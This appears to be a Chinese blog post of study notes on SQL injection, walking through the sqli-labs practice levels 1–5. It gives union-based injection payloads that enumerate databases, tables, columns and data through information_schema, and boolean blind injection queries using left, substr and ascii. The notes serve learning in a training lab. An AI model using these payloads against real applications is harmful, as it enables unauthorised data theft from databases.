sql注入——day01

基本的


查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where 
table_schema = '数据库名'
查列:select column_name from information_schema.columns where
table_name='表名'
查字段:select 字段名 form 数据库.表名

记得加注释符-- +

sqli_labs 1


1 ?id=1'用单引号或and,or测试注入点,显示sql错误则可以注入。
2 确定注入点后用order by确定列数,超出列数会报错。
3 union select 1,2,3确定回显位。前半段语句必须为假。
4 确定回显位后开始查询想要的数据,将要查的数据替换回显位。
5 union select 1,2,schema_name from information_schema.schemata
//显示查的库,但是只能显示第一个,一个一个看的话用limit 1,1控制偏移量
6 union select 1,2,group_concat(schema_name) from information_schema.schemata
//虽然只能显示一行,但是group_concat()可以将该查询到的结果拼接在一起,一行就全展示完。
7 //找出库后找表
  union select 1,2,group_concat(table_name) from information_schema.tables 
  where table_schema = '数据库名' //涉及单引号的字符串,建议直接前加0x再将其转化为16进制
8 //找出表后查字段
  union select 1,2,group_concat(column_name) from information_schema.columns 
  where table_name = '表名'
9 //找出字段后取数据
  union select 1,2,group_concat(字段名) from 数据库名.表名
  //如果回显位有限可以用concat_ws('~',字段A,字段B) 显示效果 字段A~字段B
  union select 1,2,group_concat(concat_ws('~',字段A,字段B)) from 数据库名.表名
  //用group_concat包裹可以全部显示


sqli_labs 2


第二关只是id变成了数值型,未用单引号包裹,其余步骤和第一关相同 


sqli_labs 3


第三关根据加单引号显示的报错信息确定id是被('')包裹,所以改成?id=1')--+即可其余步骤和第一关相同

sqli_labs 4


第四关与第三关类似用单引号试错未报错,继续用双引号测试根据报错,发现id是被("")包裹
其余步骤和第一关相同

补充知识
1. left()函数:    left(database(),1)='s'          left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
2. regexp函数:    select user() regexp 'r'    user()的结果是root,regexp为匹配root的正则表达式
3. like函数:      select user() like 'ro%'        匹配与regexp相似。
4. substr(a,b,c)   select substr(a,b,c)            substr(a,b,c)从位置b开始,截取a字符串c位长度
5. ascii()                                                       将某个字符串转化为ascii值  
6. chr(数字)       或者是ord('字母')                使用python中的两个函数可以判断当前的ascii值是多少

对于security数据库:
 select left(database(),1)='s';                                    前1位是否是s
 select database() regexp 's';                                   匹配第一个字符是否是 s
 select database() like 's%';                                      匹配第一个字符是否是 s
 select substr((select database()),1,1)='s';                匹配第一个字符是否是 s
 select substr((select database()),1,3)= 'sec';           匹配前三个个字符是否是 sec
 select ascii(substr((select database()),1,1));            直接回显115  或者是:
 select ascii(substr((select database()),1,1)) > 110;  如果大于110,就会返回1,否则返回0.

sqli_labs 5


页面只返回是和否,典型的布尔盲注,通过补充知识里的函数不断测试来获取信息
1 ?id=1'用单引号判断能否注入
2 还是利用order by确定列数,判断列数不需要回显根据页面返回提示即可确定列数
3 ?id=1' and left((select database()),1)='s'--+开始猜数据库的名字
4 ?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+
  //这是第一个数据名字的第一个字符,后续的表名,字段以及数据名均可用这样的方法以及上面的其它函数进行猜解,
  人工猜字符ascii时最好用二分法

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值